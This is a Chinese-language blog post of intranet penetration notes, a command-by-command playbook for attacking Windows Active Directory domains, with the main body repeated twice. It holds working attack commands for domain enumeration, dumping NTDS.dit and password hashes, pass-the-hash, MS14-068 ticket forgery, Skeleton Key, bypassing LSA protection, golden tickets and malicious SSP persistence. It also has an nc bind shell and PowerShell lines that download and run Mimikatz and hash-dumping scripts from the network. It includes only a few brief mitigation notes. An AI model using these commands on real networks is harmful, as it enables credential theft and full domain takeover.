内网渗透流程

内网渗透

  • 工作组和域
  • 网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库.

常用信息与思路

域成员命令

  • dsquery server //获得域控制器IP

  • net group “domain controllers” /domain //获得域控制器主机名

  • net group “domain admins” /domain //查询域管理用户

  • net user /domain //查看所有域用户

  • net config workstation //查询当前登陆域

  • net accounts /domain //查询域密码策略

  • wmic qfe //查看补丁

  • wmic os //查看操作系统类型

  • wmic share get Name,path //相当于net share

  • wmic ntdomain //获取所有和本主机相关的域,可以看到域控制器的位置

  • wmic process where name=”qq.exe” call terminate //结束进程

  • wmic process where name=”qq.exe” delete //结束进程

  • wmic process where pid=”123″ delete //结束对应PID进程

  • wmic process call create c:\1.exe //运行程序

  • wmic process call create “C:\nc.exe -l -p 2222 -e cmd.exe” //运行参数

  • nltest /dsgetdc:域名 //找域控

  • 或者使用dc列表 nltest /dclist:domain-a 其中pdc是主域控

  • nltest /domain_trusts //可以列出域之间的信任关系

  • net user /domain //查看域里面的用户

  • nbtscan.exe -r 172.0.0.1/24 //查看主机上是哪台用户登陆用netbois

  • 可以使用PowerView信息收集

  • Powershell.exe -Nop -NonI -Exec Bypass “IEX (New.ObjectNet.WebClient).DownloadString(‘https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1');Get-HostIP"

  • tasklist /s ip地址 /u username /p password /v 查看远程主机进程
    批量运行

    1
    FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
  • 寻找主机是否有域控登陆过

    1
    FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
  • SYSVOL是所有经过身份验证的用户具有读取权限的Active Directory中的域范围共享。SYSVOL包含登录脚本,组策略数据以及其他域控制器中需要使用的全域数据。SYSVOL共享将自动同步并在所有域控制器之间共享。
    域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据:groups.xml、scheduledtasks.xml、Services.xml、datasources.xml。
    由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对SYSVOL的读取权限
    groups.xml
    经过AES-256位加密
    cpassword=”fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA”
    可以使用AES私钥解密GPP密码,并且微软在MSDN上发布了AES加密密钥(共享密钥)

  • 缓解措施:
    在用于管理GPO的计算机上安装KB2962486补丁,以防止将新凭据置于组策略首选项中。
    设置Everyone访问权限
    不在组策略中使用域控密码
    设置共享文件夹SYSVOL的访问权限
    删除现有的GPP里包含密码的xml文件。

域用户hash与密码

  • mstsc/admin 解决hash无法抓出问题:
  • 域用户帐户以域数据库的形式保存在活动目录中,ntdsutil.exe是域控制器自带的域数据库管理工具,从windows 2008就默认自带了,因此我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:
    Ntdsutil –snapshot—activate instance ntds—create—mount {guid}—copy
    装载点\windows\NTDS\ntds.dit d:\ntds_save.dit
    最后执行unmount {guid}—delete {guid}–quit删除装载点即可
  • 上传工具QuarksPwDump到域控制器上,然后执行如下命令,成功提取用户hash,如下图:
  • QuarksPwDump –dump-hash-domain –ntds-file d:\ntds_save.dit
  • 或者使用mimikatz log “privilege::debug” “lsadump::lsa /patch”
  • 一般获得域控hash,如何登录?首先尝试解密,大多都是比较复杂的密码,可以进行hash传递.
  • msf有个smb登录的方法,会被杀软拦截,可以用wce修改会话凭据
    wce -s Administrator:20121213-0026:004AD741EB01978BAAD3B435B51404EE:272C677DA534166433E35FC255DC444A
  • 修改完之后直接net use \目标ip地址 我们就以当前的会话凭据建立起ipc$辣~~
    net use z:\目标ip地址\c$ //目标c盘共享映射到本地z盘

权限提升

  • 创建域时自动生成一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递攻击.
  • Windows Pass the Ticket 在域环境中,Kerberos协议被用来作身份认证
  • MS14-068 将任何一个域用户提权至域管理员权限
  • systeminfo |find “3011780” //查看是否补微软给出的补丁
  • whoami /all #该命令获取当前登录用户的信息,获取到用户的sid
  • 利用漏洞生成TGT票据 当获取到域用户、域用户sid、密码以及可访问到域控制器的机器,并不需要机器一定在域中,但需要把dns指向域控制器才能解析
    使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
    mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
  • mimikatz # kerberos::list //查看当前机器凭证
  • mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
  • klist查看是否可以访问域控制器
  • Skeleton Key被安装在64位的域控服务器上
    支持Windows Server2003—Windows Server2012 R2
    能够让所有域用户使用同一个万能密码进行登录
    现有的所有域用户使用原密码仍能继续登录
    重启后失效
    首先域内主机使用正确密码登录域控
    net use \域控驱动器号 密码 /user:域控用户
    dir \域控驱动器\c$
    域控安装Skeleton Key
    mimikatz命令:
    privilege::debug
    misc::skeleton
    使用Skeleton Key登录
    清除net use连接
    net use */del /y
    mimikatz的默认Skeleton Key设置为mimikatz
    net use \域控驱动器 密码mimiktaz /user:域控用户
    dir \域控驱动器\c$
    绕过LSA Protection
    LSA保护策略防止对进程lsass.exe的代码注入,使mimiktz等无法
    配置LSA Protection
    注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
    新建DWORD值,名称为RunAsPPL,数值为00000001
    mimikatz安装命令失败需要mimidrv.sys文件执行如下
    mimikatz命令:
    privilege::debug
    !+
    !processprotect /process:lsass.exe /remove
    misc::skeleton
    绕过限制命令
    privilege::debug
    misc::cmd
    misc::regedit
    misc::taskmg

权限维持

  • 维持域控权限的方法kerberos ticket,历史SID,AdminSDHolder,DSRM,GPP,DCSync,SSP,Skeleton Key,Hook PasswordChangeNotify.
  • net group “domain admins” /domain 域内管理员 账号
  • Golden ticket黄金票据需要三点
    • 域的SID值
    • 域的名称
    • krbtgt用户的ntlm哈希
  • 使用mimikatz获取域管理员权限
  • mimikatz # kerberos::purge
  • mimikatz # kerberos::golden /admin:Administrator /domain:域 /sid:域SID /krbtgt:hash值 /ticket:Administrator.kiribi
  • mimikatz # kerberos::ptt Administrator.kiribi
  • mimikatz # kerberos::tgt
  • DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。
    事件查看器的安全事件中筛选事件ID为4794的事件日志,来判断域管是否经常进行DSRM密码同步操作
  • 缓解措施:
    • 对于这个问题的唯一有效的缓解措施就是确保每一台域控制器的DSRM账户密码是唯一的并且定期修改此密码。同时,确保注册表DsrmAdminLogonBehavior的值不为2,最好将其直接删除或者设置其值为1或0。
  • Security Support Provider
    SSP就是一个DLL,用来实现身份认证,例如
    NTLM
    Kerberos
    Negotiate
    Secure Channel (Schannel)
    Digest
    Credential (CredSSP)
    将mimilib.dll复制到域控c:/windows/system32下
    设置SSP
    修改域控注册表位置:HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/
    在Security Packages下添加mimilib.dll

域控重启后
c:/windows/system32可看到新生成的文件kiwissp.log记录了登录账户和密码
如果不是在域环境下生成的文件会在 system32mimilsa.log

mimikatz实现
privilege::debug
misc::memssp

缓解措施:
检测注册表位置:
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/
检测%windir%/System32是否有可疑dll
重启域控才生效

历史SID记录允许另一个帐户的访问被有效地克隆到另一个帐户
mimikatz “privilege::debug” “misc::addsid bobafett ADSAdministrator”
AdminSDHolder&SDProp
利用AdminSDHolder&SDProp(重新)获取域管理权限
AdminSDHolder是位于Active Directory中的系统分区


title: intranet pentest
date: 2018-08-07 14:51:20
tags:
- security
- intranet-pentest
- penetration
categories: penetration
description: intranet pentest


内网渗透

  • 网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库.

常用信息与思路

  • 域成员命令
  • dsquery server //获得域控制器IP
  • net group “domain controllers” /domain //获得域控制器主机名
  • net group “domain admins” /domain //查询域管理用户
  • net user /domain //查看所有域用户
  • net config workstation //查询当前登陆域
  • net accounts /domain //查询域密码策略
  • wmic qfe //查看补丁
  • wmic os //查看操作系统类型
  • wmic share get Name,path //相当于net share
  • wmic ntdomain //获取所有和本主机相关的域,可以看到域控制器的位置
  • wmic process where name=”qq.exe” call terminate //结束进程
  • wmic process where name=”qq.exe” delete //结束进程
  • wmic process where pid=”123″ delete //结束对应PID进程
  • wmic process call create c:\1.exe //运行程序
  • wmic process call create “C:\nc.exe -l -p 2222 -e cmd.exe” //运行参数
  • nbtscan.exe -r 172.0.0.1/24 //查看主机上是哪台用户登陆用netbois
  • nltest /dsgetdc:域名 //找域控
    或者使用dc列表 nltest /dclist:domain-a 其中pdc是主域控
  • nltest /domain_trusts //可以列出域之间的信任关系
  • net user /domain //查看域里面的用户
  • 可以使用PowerView信息收集
  • tasklist /s ip地址 /u username /p password /v 查看远程主机进程
    批量运行
    1
    FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
    寻找主机是否有域控登陆过
    1
    FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

SYSVOL是所有经过身份验证的用户具有读取权限的Active Directory中的域范围共享。SYSVOL包含登录脚本,组策略数据以及其他域控制器中需要使用的全域数据。SYSVOL共享将自动同步并在所有域控制器之间共享。
域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据:groups.xml、scheduledtasks.xml、Services.xml、datasources.xml。
由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对SYSVOL的读取权限
groups.xml
经过AES-256位加密
cpassword=”fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA”
可以使用AES私钥解密GPP密码,并且微软在MSDN上发布了AES加密密钥(共享密钥)

环节措施:
在用于管理GPO的计算机上安装KB2962486补丁,以防止将新凭据置于组策略首选项中。
设置Everyone访问权限
不在组策略中使用域控密码
设置共享文件夹SYSVOL的访问权限
删除现有的GPP里包含密码的xml文件。

当获得某个本地管理员权限的账号时候,想通过该账号访问其他内网主机,可以使用net use建立IPC$连接,wmic指令连接,采用rdp方式连接,mstsc连接.

psexec /accepteula 绕过第一次验证窗口
psexec \目标ip地址 -u 账号 -p 密码 cmd
获得cmdshell目的也可以查找目标主机是否有域管理员登陆过,并抓取域管理员密码
psexec -acccptcula @ip.txt -u 账号 -p 密码 -c bat批量查找脚本

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

域用户hash与密码

mstsc/admin 解决hash无法抓出问题

域用户帐户以域数据库的形式保存在活动目录中,ntdsutil.exe是域控制器自带的域数据库管理工具,从windows 2008就默认自带了,因此我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:
Ntdsutil –snapshot—activate instance ntds—create—mount {guid}—copy
装载点\windows\NTDS\ntds.dit d:\ntds_save.dit
最后执行unmount {guid}—delete {guid}–quit删除装载点即可

上传工具QuarksPwDump到域控制器上,然后执行如下命令,成功提取用户hash,如下图:
QuarksPwDump –dump-hash-domain –ntds-file d:\ntds_save.dit

或者使用mimikatz log “privilege::debug” “lsadump::lsa /patch”

一般获得域控hash,如何登录?首先尝试解密,大多都是比较复杂的密码,可以进行hash传递.

msf有个smb登录的方法,会被杀软拦截,可以用wce修改会话凭据
wce -s Administrator:20121213-0026:004AD741EB01978BAAD3B435B51404EE:272C677DA534166433E35FC255DC444A

修改完之后直接net use \目标ip地址 我们就以当前的会话凭据建立起ipc$辣~~
net use z:\目标ip地址\c$ //目标c盘共享映射到本地z盘

权限提升

  • 创建域时自动生成一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递攻击.

Windows Pass the Ticket 在域环境中,Kerberos协议被用来作身份认证

MS14-068 将任何一个域用户提权至域管理员权限
systeminfo |find “3011780” //查看是否补微软给出的补丁
whoami /all #该命令获取当前登录用户的信息,获取到用户的sid
利用漏洞生成TGT票据 当获取到域用户、域用户sid、密码以及可访问到域控制器的机器,并不需要机器一定在域中,但需要把dns指向域控制器才能解析
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
klist查看是否可以访问域控制器

Skeleton Key被安装在64位的域控服务器上
支持Windows Server2003—Windows Server2012 R2
能够让所有域用户使用同一个万能密码进行登录
现有的所有域用户使用原密码仍能继续登录
重启后失效
首先域内主机使用正确密码登录域控
net use \域控驱动器号 密码 /user:域控用户
dir \域控驱动器\c$
域控安装Skeleton Key
mimikatz命令:
privilege::debug
misc::skeleton
使用Skeleton Key登录
清除net use连接
net use */del /y
mimikatz的默认Skeleton Key设置为mimikatz
net use \域控驱动器 密码mimiktaz /user:域控用户
dir \域控驱动器\c$
绕过LSA Protection
LSA保护策略防止对进程lsass.exe的代码注入,使mimiktz等无法
配置LSA Protection
注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
新建DWORD值,名称为RunAsPPL,数值为00000001
mimikatz安装命令失败需要mimidrv.sys文件执行如下
mimikatz命令:
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
绕过限制命令
privilege::debug
misc::cmd
misc::regedit
misc::taskmg

权限维持

  • 维持域控权限的方法kerberos ticket,历史SID,AdminSDHolder,DSRM,GPP,DCSync,SSP,Skeleton Key,Hook PasswordChangeNotify.

  • net group “domain admins” /domain 域内管理员 账号

  • golden ticket黄金票据

  • 需要三点

  • 域的SID值

  • 域的名称

  • krbtgt用户的ntlm哈希

  • 使用mimikatz获取域管理员权限

  • mimikatz # kerberos::purge

  • mimikatz # kerberos::golden /admin:Administrator /domain:域 /sid:域SID - /krbtgt:hash值 /ticket:Administrator.kiribi

  • mimikatz # kerberos::ptt Administrator.kiribi

  • mimikatz # kerberos::tgt

  • DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。
    事件查看器的安全事件中筛选事件ID为4794的事件日志,来判断域管是否经常进行DSRM密码同步操作
    缓解措施
    对于这个问题的唯一有效的缓解措施就是确保每一台域控制器的DSRM账户密码是唯一的并且定期修改此密码。同时,确保注册表DsrmAdminLogonBehavior的值不为2,最好将其直接删除或者设置其值为1或0。

  • Security Support Provider
    SSP就是一个DLL,用来实现身份认证,例如
    NTLM
    Kerberos
    Negotiate
    Secure Channel (Schannel)
    Digest
    Credential (CredSSP)
    将mimilib.dll复制到域控c:/windows/system32下
    设置SSP
    修改域控注册表位置:HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/
    在Security Packages下添加mimilib.dll

域控重启后
c:/windows/system32可看到新生成的文件kiwissp.log记录了登录账户和密码
如果不是在域环境下生成的文件会在 system32mimilsa.log

mimikatz实现
privilege::debug
misc::memssp

缓解措施:
检测注册表位置:
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/
检测%windir%/System32是否有可疑dll
重启域控才生效

历史SID记录允许另一个帐户的访问被有效地克隆到另一个帐户
mimikatz “privilege::debug” “misc::addsid bobafett ADSAdministrator”
AdminSDHolder&SDProp
利用AdminSDHolder&SDProp(重新)获取域管理权限
AdminSDHolder是位于Active Directory中的系统分区